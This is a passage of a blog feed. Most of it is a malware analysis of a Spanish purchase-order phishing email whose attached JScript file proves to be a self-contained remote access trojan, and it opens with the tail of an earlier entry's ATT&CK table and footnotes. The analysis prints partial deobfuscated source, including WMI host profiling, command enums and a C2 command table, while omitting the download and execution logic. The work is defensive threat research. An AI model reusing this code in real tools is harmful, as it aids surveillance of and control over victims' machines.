&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Stealth&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1055/012/&quot;&gt;T1055.012 - Process Injection: Process Hollowing&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Command and Control&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1102/&quot;&gt;T1102 - Web Service&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;1&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;1&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags&quot;&gt;Process Creation Flags (WinBase.h) - Win32 apps | Microsoft Learn&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;2&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;2&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://www.sunshine2k.de/reversing/tuts/tut_pe.htm&quot;&gt;Sunshine’s Homepage - PE ﬁle format&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;3&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;3&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32&quot;&gt;IMAGE_OPTIONAL_HEADER32 (winnt.h) - Win32 apps | Microsoft Learn&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;4&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;4&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-context-r2&quot;&gt;CONTEXT (x86 32-bit) - Win32 apps | Microsoft Learn&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;5&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;5&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-wow64_context&quot;&gt;WOW64_CONTEXT (winnt.h) - Win32 apps | Microsoft Learn&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;6&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;6&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://www.pinvoke.net/default.aspx/kernel32/GetThreadContext.html&quot;&gt;pinvoke.net: GetThreadContext (kernel32)&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;7&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;7&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://www.travismathison.com/posts/PEB_TEB_TIB-Structure-Offsets/&quot;&gt;PEB/TEB/TIB Structure Oﬀsets | Travis Mathison&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;8&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;8&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex&quot;&gt;VirtualAllocEx function (memoryapi.h) - Win32 apps | Microsoft Learn&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;9&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;9&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/memory/memory-protection-constants&quot;&gt;Memory Protection Constants (WinNT.h) - Win32 apps | Microsoft Learn&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;10&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;10&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_section_header&quot;&gt;IMAGE_SECTION_HEADER (winnt.h) - Win32 apps | Microsoft Learn&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Malspam Analysis - Nueva orden de compra 4504238494</title><id>https://observeroftime.github.io/malspam-analysis/2026-04-14/2998334beec8f0afa91b9fdb5f73a3ebfd3459672b16a0deb8d2238f3182f965.html</id><updated>2026-04-22T19:03:04+00:00</updated><link href="https://observeroftime.github.io/malspam-analysis/2026-04-14/2998334beec8f0afa91b9fdb5f73a3ebfd3459672b16a0deb8d2238f3182f965.html" rel="alternate"/><content type="html">&lt;h1&gt;Nueva orden de compra 4504238494&lt;/h1&gt;
&lt;p&gt;On April 14 2026, 17:16 UTC, I received an email with the following details:&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;From&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Subject&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Sender address&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Sender IP&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;“Tahany ElBarmawy” &amp;lt;dao@ambserbie-alger.com&amp;gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Nueva orden de compra 4504238494&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;dao@ambserbie-alger.com&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;85.137.51.11&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The subject is in Spanish and translates to “New purchase order 4504238494”.&lt;/p&gt;
&lt;p&gt;The sender domain has not configured DKIM and DMARC and the SPF check failed,
which indicates that the email was likely spoofed. The website currently redirects
to “ambserbie-alger-com.hostdz.website” and returns an internal server error.
Based on references from other sites, as well as previous snapshots from the
Internet Archive, it belongs to the Serbian Embassy in Algeria.&lt;/p&gt;
&lt;p&gt;The email contains the following attachment:&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;Name&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Type&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Magic&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;SHA256&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;GR5000171604.7z&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;7ZIP&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;7-zip archive data, version 0.4&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;745158871066b7e3aa4ed48234c5f24b&lt;wbr&gt;5389b2cb92945b86aa530488a7d47afc&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;Analysis&lt;/h2&gt;
&lt;p&gt;Extracting the attached archive yields the file “GR5000171604.js”, which is obfuscated
via “Obfuscator.io” and I deobfuscated using &lt;a href=&quot;https://github.com/j4k0xb/webcrack&quot;&gt;webcrack&lt;/a&gt;.
This script is not a loader for a multi-stage malware but instead contains the entire functionality.
This analysis organises the functional components of the script into five sections based on their role.
Since the script is self-contained, many parts of the implementation will be omitted to prevent reproduction of the malware.&lt;/p&gt;
&lt;h3&gt;Environment Setup&lt;/h3&gt;
&lt;p&gt;The script defines the numeric enums &lt;code&gt;v&lt;/code&gt; and &lt;code&gt;v94&lt;/code&gt; and the string enum &lt;code&gt;v19&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;var v;

(function (p11) {
  p11[p11.Running = 0] = &quot;Running&quot;;
  p11[p11.Finished = 1] = &quot;Finished&quot;;
  p11[p11.ErrorOccured = 2] = &quot;ErrorOccured&quot;;
})(v ||= {});
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;var v19;

(function (p56) {
  p56.GetFile = &quot;ex&quot;;
  p56.GetLoader = &quot;sb&quot;;
  p56.GetPayload = &quot;vc&quot;;
  p56.GetProperties = &quot;df&quot;;
  p56.GetUpdate = &quot;kp&quot;;
  p56.GetShell = &quot;tw&quot;;
})(v19 ||= {});
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;var v94;

(function (p78) {
  p78[p78.NEW = 0] = &quot;NEW&quot;;
  p78[p78.RUNNABLE = 1] = &quot;RUNNABLE&quot;;
  p78[p78.BLOCKED = 2] = &quot;BLOCKED&quot;;
  p78[p78.WAITING = 3] = &quot;WAITING&quot;;
  p78[p78.TIMED_WAITING = 4] = &quot;TIMED_WAITING&quot;;
  p78[p78.TERMINATED = 5] = &quot;TERMINATED&quot;;
})(v94 ||= {});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;vF&lt;/code&gt; class stores a callback function to be executed later via its &lt;code&gt;Run&lt;/code&gt; method.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;var vF = function () {
  function f(p) {
    this.action = p;
  }
  f.prototype.Run = function () {
    this.action.apply(this.action);
  };
  return f;
}();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;vF2&lt;/code&gt; class includes functions for managing callbacks stored in the &lt;code&gt;ExitCallbacks&lt;/code&gt; array.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AddExitCallback&lt;/code&gt; adds a callback to an array ensuring uniqueness.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RemoveExitCallback&lt;/code&gt; removes a callback from the array.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DoExitCallback&lt;/code&gt; executes all callbacks while ignoring errors.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Initialize&lt;/code&gt; polyfills the &lt;code&gt;Array.filter&lt;/code&gt;, &lt;code&gt;Array.map&lt;/code&gt;, &lt;code&gt;String.trim&lt;/code&gt;
methods, which are not available in JScript, and defines the functions
&lt;code&gt;String.IsNullOrWhiteSpace&lt;/code&gt; and &lt;code&gt;String.Reverse&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Run&lt;/code&gt; is responsible for calling the &lt;code&gt;Main&lt;/code&gt; method of a given object using the
script’s CLI arguments and executes the exit callbacks even if the method throws an error.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;var vF2 = function () {
  function f2() {}
  f2.AddExitCallback = function (p2) { /* omitted */ };
  f2.RemoveExitCallback = function (p3) { /* omitted */ };
  f2.DoExitCallback = function () { /* omitted */ };
  f2.Initialize = function () {
    Array.prototype.filter = function (p4, p5) { /* omitted */ };
    Array.prototype.map = function (p6, p7) { /* omitted */ };
    String.IsNullOrWhiteSpace = function (p8) {
      return p8 == null || /\S/.test(p8) == 0;
    };
    String.Reverse = function (p9) {
      return p9.split(&quot;&quot;).reverse().join(&quot;&quot;);
    };
    String.prototype.trim = function () { /* omitted */ };
  };
  f2.Run = function (p10) {
    for (var v16 = WSH.Arguments, v17 = [], v18 = 0; v18 &amp;lt; v16.length; v18++) {
      v17[v18] = v16.Item(v18);
    }
    try {
      p10.Main(v17);
    } finally {
      this.DoExitCallback();
    }
  };
  f2.ExitCallbacks = [];
  return f2;
}();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;vF6&lt;/code&gt; class implements &lt;code&gt;JSON.stringify&lt;/code&gt; which is also not available in JScript.
It uses the &lt;code&gt;f6&lt;/code&gt; class to represent serialised objects.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;function f6() {
  this.Ignore = false;
  this.String = &quot;&quot;;
}
var vF6 = function () {
  function f7() {}
  f7._formatString = function (p52 = &quot;&quot;) { /* omitted */ };
  f7._stringify = function (p54) { /* omitted */ };
  f7.stringify = function (p55) { /* omitted */ };
  f7._escapable = /* omitted */;
  f7._meta = { /* omitted */ };
  return f7;
}();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Abstraction Layer&lt;/h3&gt;
&lt;h4&gt;Operating System&lt;/h4&gt;
&lt;p&gt;The &lt;code&gt;vF3&lt;/code&gt; / &lt;code&gt;vVF3&lt;/code&gt; class implements abstractions for OS operations.
It defines the &lt;code&gt;Object&lt;/code&gt; property, which is an instance of the
&lt;code&gt;Wscript.Shell&lt;/code&gt; COM object, and the &lt;code&gt;wscriptShell&lt;/code&gt; property,
which is a reference to the global Windows Script Host object.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CreateObject&lt;/code&gt; wraps &lt;code&gt;ActiveXObject&lt;/code&gt; to create a COM object.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Exec&lt;/code&gt; wraps the &lt;code&gt;Exec&lt;/code&gt; method of &lt;code&gt;Wscript.Shell&lt;/code&gt; to execute a command.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Exit&lt;/code&gt; runs the registered exit callbacks and quits the script.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetArguments&lt;/code&gt; wraps &lt;code&gt;WSH.Arguments&lt;/code&gt; to return the CLI arguments of the script.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetCurrentDirectory&lt;/code&gt; wraps the &lt;code&gt;CurrentDirectory&lt;/code&gt; property of &lt;code&gt;Wscript.Schell&lt;/code&gt;
to return the current working directory.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetCurrentScriptFile&lt;/code&gt; wraps &lt;code&gt;WSH.ScriptFullName&lt;/code&gt; to return the path of the executing script.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetEnviromentVariable&lt;/code&gt; wraps the &lt;code&gt;ExpandEnvironmentStrings&lt;/code&gt; method of &lt;code&gt;Wscript.Shell&lt;/code&gt;
to return the value of an environment variable.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetScriptHostFile&lt;/code&gt; wraps &lt;code&gt;WSH.FullName&lt;/code&gt; to return the path of the script host executable.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OpenFile&lt;/code&gt; lazy-loads an instance of the &lt;code&gt;Shell.Application&lt;/code&gt; COM object
and calls its &lt;code&gt;ShellExecute&lt;/code&gt; method to open a file.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;QueryWMIService&lt;/code&gt; lazy-loads a WMI object using the &lt;code&gt;GetObject&lt;/code&gt; function&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;.
Then, it executes a WMI query and returns the results as an array.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Run&lt;/code&gt; wraps the &lt;code&gt;Run&lt;/code&gt; method of &lt;code&gt;Wscript.Shell&lt;/code&gt; to execute a command.
Unlike &lt;code&gt;Exec&lt;/code&gt;, this method does not return the output.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RunScript&lt;/code&gt; executes another script via the script host, sleeps briefly,
and returns a boolean indicating whether the execution was successful.
The &lt;code&gt;p22&lt;/code&gt; parameter is the path of the script and any extra parameters
passed to the function are provided as CLI arguments to the script.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Sleep&lt;/code&gt; wraps &lt;code&gt;WSH.Sleep&lt;/code&gt; to sleep for a given number of milliseconds.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;var vF3 = function () {
  function f3() {}
  f3.CreateObject = function (p12) { /* omitted */ };
  f3.Exec = function (p13) { /* omitted */ };
  f3.Exit = function (p14) { /* omitted */ };
  f3.GetArguments = function () { /* omitted */ };
  f3.GetCurrentDirectory = function () { /* omitted */ };
  f3.GetCurrentScriptFile = function () { /* omitted */ };
  f3.GetEnviromentVariable = function (p15) { /* omitted */ };
  f3.GetScriptHostFile = function () { /* omitted */ };
  f3.OpenFile = function (p16) {
    if (f3.application == null) {
      f3.application = f3.CreateObject(&quot;Shell.Application&quot;);
    }
    f3.application.ShellExecute(p16.GetAbsolutePath(), &quot;&quot;, &quot;&quot;, &quot;open&quot;, 1);
  };
  f3.QueryWMIService = function (p17, p18) {
    if (f3.wmiObject == null) {
      f3.wmiObject = GetObject(&quot;winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2&quot;);
    }
    for (var v20 = f3.wmiObject.ExecQuery(&quot;SELECT &quot; + p18 + &quot; FROM &quot; + p17), vArray = Array(v20.Count), v21 = 0; v21 &amp;lt; v20.Count; v21++) {
      vArray[v21] = v20.ItemIndex(v21)[p18];
    }
    v20 = null;
    return vArray;
  };
  f3.Run = function (p19, p20, p21) { /* omitted */ };
  f3.RunScript = function (p22) {
    /* omitted */
    var v28 = f3.Exec(v25);
    f3.Sleep(400);
    return v28.Status &amp;lt;= v.Finished;
  };
  f3.Sleep = function (p23) { /* omitted */ };
  f3.Object = f3.CreateObject(&quot;Wscript.Shell&quot;);
  f3.wscriptShell = WSH;
  return f3;
}();
var vVF3 = vF3;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;File System&lt;/h4&gt;
&lt;p&gt;The &lt;code&gt;vF5&lt;/code&gt; class implements abstractions for file system operations.
The path separator is set to the Windows path separator. The constructor
combines a parent path, which defaults to the current working directory,
and an optional child path and normalises the combined path.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;GetFileSystemObject&lt;/code&gt; lazy-loads an instance of the &lt;code&gt;Scripting.FileSystemObject&lt;/code&gt; COM object.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Copy&lt;/code&gt; copies a file or folder from one path to another.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CopyTo&lt;/code&gt; copies the current file or folder to the target path.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CreateParentPath&lt;/code&gt; creates the parent folder of the current path if necessary.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CreateTemporaryFile&lt;/code&gt; creates a file with a pseudorandom name in the &lt;code&gt;%TMP%&lt;/code&gt; folder.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Delete&lt;/code&gt; deletes the current path, forcing folder deletion if the parameter is &lt;code&gt;true&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Exists&lt;/code&gt; checks whether the current path exists.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EqualTo&lt;/code&gt; checks whether the current path is equal to another, ignoring case.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetAbsolutePath&lt;/code&gt; resolves the absolute path of the current file or folder.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetExtension&lt;/code&gt; returns the extension of the current path, if any.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetName&lt;/code&gt; returns the file (or folder) name of the current path.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetParent&lt;/code&gt; returns the parent folder path as a string.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetParentFile&lt;/code&gt; returns the parent folder path as an object.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetPath&lt;/code&gt; returns the current path as a string.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetSize&lt;/code&gt; returns the size in bytes of the current file or folder.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MakeDirectries&lt;/code&gt; [sic] recursively creates the folder if it doesn’t exist.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;  var vF5 = function () {
    function f5(p42, p43) { /* omitted */ }
    f5.GetFileSystemObject = function () {
      if (f5.fso == null) {
        f5.fso = vVF3.CreateObject(&quot;Scripting.FileSystemObject&quot;);
      }
      return f5.fso;
    };
    f5.Copy = function (p44, p45, p46 = true) { /* omitted */;
    f5.prototype.CopyTo = function (p47, p48 = true) { /* omitted */ };
    f5.prototype.CreateParentPath = function () { /* omitted */ };
    f5.CreateTemporaryFile = function (p49) { /* omitted */ };
    f5.prototype.Delete = function (p50 = false) { /* omitted */ };
    f5.prototype.Exists = function () { /* omitted */ };
    f5.prototype.EqualTo = function (p51) { /* omitted */ };
    f5.prototype.GetAbsolutePath = function () { /* omitted */ };
    f5.prototype.GetExtension = function () { /* omitted */ };
    f5.prototype.GetName = function () { /* omitted */ };
    f5.prototype.GetParent = function () { /* omitted */ };
    f5.prototype.GetParentFile = function () { /* omitted */ };
    f5.prototype.GetPath = function () { /* omitted */ };
    f5.prototype.GetSize = function () { /* omitted */ };
    f5.prototype.MakeDirectries = function () { /* omitted */ };
    f5.separator = &quot;\\&quot;;
    return f5;
  }();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Core Utilities&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;vF4&lt;/code&gt; class provides various utilities for encoding, WMI queries, and PowerShell commands.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;GetProcessList&lt;/code&gt; retrieve a list of unique process names through WMI.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;GetComputerInfo&lt;/code&gt; retrieves computer information through the environment and WMI:
&lt;ul&gt;
&lt;li&gt;User domain&lt;/li&gt;
&lt;li&gt;Username&lt;/li&gt;
&lt;li&gt;System serial number&lt;/li&gt;
&lt;li&gt;OS caption&lt;/li&gt;
&lt;/ul&gt;
If the parameter &lt;code&gt;p24&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt;, it also retrieve the following extra information:
&lt;ul&gt;
&lt;li&gt;Total memory&lt;/li&gt;
&lt;li&gt;Computer model&lt;/li&gt;
&lt;li&gt;CPU name&lt;/li&gt;
&lt;li&gt;GPU name&lt;/li&gt;
&lt;li&gt;OS architecture&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DownloadFile&lt;/code&gt; downloads a file from a URL to a local path using PowerShell.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;RunPowershell&lt;/code&gt; executes a PowerShell command after encoding it to base64.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;GetRandonNumber&lt;/code&gt; &amp;lsqb;sic&amp;rsqb; generates a random number, optionally between two values.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;GetRandomString&lt;/code&gt; generates a random alphanumeric string of the specified length.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;HexToAscii&lt;/code&gt; converts a hexadecimal string to its ASCII representation.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;AsciiToHex&lt;/code&gt; converts an ASCII string to its hexadecimal representation.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;BytesToHex&lt;/code&gt; converts a byte array to a hexadecimal string.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;HexToBytes&lt;/code&gt; converts a hexadecimal string to a byte array.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;StringToUTF16Bytes&lt;/code&gt; converts a string to a UTF-16 byte array, handling escape sequences.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;BytesToBase64&lt;/code&gt; encodes a byte array into a base64 string.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SerializeForm&lt;/code&gt; converts an object to a URL-encoded query string.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;XorEncryptDecrypt&lt;/code&gt; performs XOR encryption/decryption between a string and a byte array.
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;var vF4 = function () {
  function f4() {}
  f4.GetProcessList = function () {
    for (var v29 = vVF3.QueryWMIService(&quot;Win32_Process&quot;, &quot;Name&quot;), v30 = [], v31 = 0; v31 &amp;lt; v29.length; v31++) {
      var v32 = true;
      var v33 = v29[v31];
      if (!String.IsNullOrWhiteSpace(v33)) {
        for (var v34 = 0; v34 &amp;lt; v30.length; v34++) {
          if (v33 === v30[v34]) {
            v32 = false;
            break;
          }
        }
        if (v32) {
          v30.push(v33);
        }
      }
    }
    return v30;
  };
  f4.GetComputerInfo = function (p24 = false) {
    var v35 = [];
    v35.push(vVF3.GetEnviromentVariable(&quot;USERDOMAIN&quot;), vVF3.GetEnviromentVariable(&quot;USERNAME&quot;), vVF3.QueryWMIService(&quot;Win32_SystemEnclosure&quot;, &quot;SerialNumber&quot;)[0], vVF3.QueryWMIService(&quot;Win32_OperatingSystem&quot;, &quot;Caption&quot;)[0].replace(&quot;Microsoft &quot;, &quot;&quot;));
    if (p24) {
      v35.push(vVF3.QueryWMIService(&quot;Win32_ComputerSystem&quot;, &quot;TotalPhysicalMemory&quot;)[0], vVF3.QueryWMIService(&quot;Win32_ComputerSystem&quot;, &quot;Model&quot;)[0], vVF3.QueryWMIService(&quot;Win32_Processor&quot;, &quot;Name&quot;)[0], vVF3.QueryWMIService(&quot;Win32_VideoController&quot;, &quot;Name&quot;)[0], vVF3.QueryWMIService(&quot;Win32_OperatingSystem&quot;, &quot;OSArchitecture&quot;)[0]);
    }
    return v35;
  };
  f4.DownloadFile = function (p25, p26) { /* omitted */ };
  f4.RunPowerShell = function (p27, p28 = true) { /* omitted */ };
  f4.GetRandonNumber = function (p29, p30) { /* omitted */ };
  f4.GetRandomString = function (p31) { /* omitted */ };
  f4.HexToAscii = function (p32) { /* omitted */ };
  f4.AsciiToHex = function (p33) { /* omitted */ };
  f4.BytesToHex = function (p34) { /* omitted */ };
  f4.HexToBytes = function (p35) { /* omitted */ };
  f4.StringToUTF16Bytes = function (p36, p37 = true) { /* omitted */ };
  f4.BytesToBase64 = function (p38) { /* omitted */ };
  f4.SerializeForm = function (p39) { /* omitted */ };
  f4.XorEncryptDecrypt = function (p40, p41) { /* omitted */ };
  f4.BASE64_CHARS = &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;;
  return f4;
}();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Execution Engine&lt;/h3&gt;
&lt;h4&gt;Anti-analysis Logic&lt;/h4&gt;
&lt;p&gt;The &lt;code&gt;vF9&lt;/code&gt; class is a classic anti-sandbox evasion component. It performs
junk operations with repeated calculations and delays during startup to
slow down or confuse automated analysis tools, then cleans up after itself.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;var vF9 = function () {
  function f10() { /* omitted */ }
  f10.prototype.Open = function (p75) { /* omitted */ };
  f10.prototype.Close = function () { /* omitted */ };
  f10.prototype.Dispose = function () { /* omitted */ };
  return f10;
}();
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Fake Multi-threading&lt;/h4&gt;
&lt;p&gt;The &lt;code&gt;vF10&lt;/code&gt; class provides a fake thread wrapper. It mimics
multi-threading behaviour by wrapping a target object and running its
main logic synchronously while tracking a simple thread state and ID.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;var vF10 = function () {
  function f12(p79) { /* omitted */ }
  f12.nextThreadID = function () { /* omitted */ };
  f12.prototype.Run = function () { /* omitted */ };
  f12.prototype.Start = function () { /* omitted */ };
  f12.prototype.IsAlive = function () { /* omitted */ };
  f12.prototype.GetId = function () { /* omitted */ };
  f12.threadSeqNumber = 0;
  return f12;
}();
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Command Handling&lt;/h4&gt;
&lt;p&gt;The &lt;code&gt;vF7&lt;/code&gt; class is responsible for handling commands received from the C2 server.
The &lt;code&gt;Handle&lt;/code&gt; function reads the &lt;code&gt;X-A&lt;/code&gt; response header and dispatches to the appropriate handler.&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;Value&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Action&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;-7&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Update client&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;-6&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Uninstall client&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;-5&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Close client&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;-4&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Restart client&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;-3&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Disconnect&lt;/td&gt;&lt;/tr&gt;
